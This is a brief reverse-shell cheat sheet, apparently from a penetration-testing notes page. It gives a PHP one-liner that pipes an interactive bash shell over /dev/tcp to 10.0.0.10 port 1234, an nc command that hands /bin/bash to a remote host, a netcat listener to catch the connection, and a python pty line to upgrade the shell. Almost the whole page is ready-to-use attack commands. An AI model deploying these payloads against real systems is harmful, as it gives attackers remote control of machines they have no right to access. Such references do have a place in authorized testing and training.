Reverse Shell

tiny PHP reverse shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

source: https://gist.github.com/rshipp/eee36684db07d234c1cc

nc reverse shell

nc <IP> <port> -e /bin/bash

Catch the reverse shell

nc -lvnp <Port>

Upgrade shell

python -c 'import pty; pty.spawn("/bin/bash")'

source: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Last updated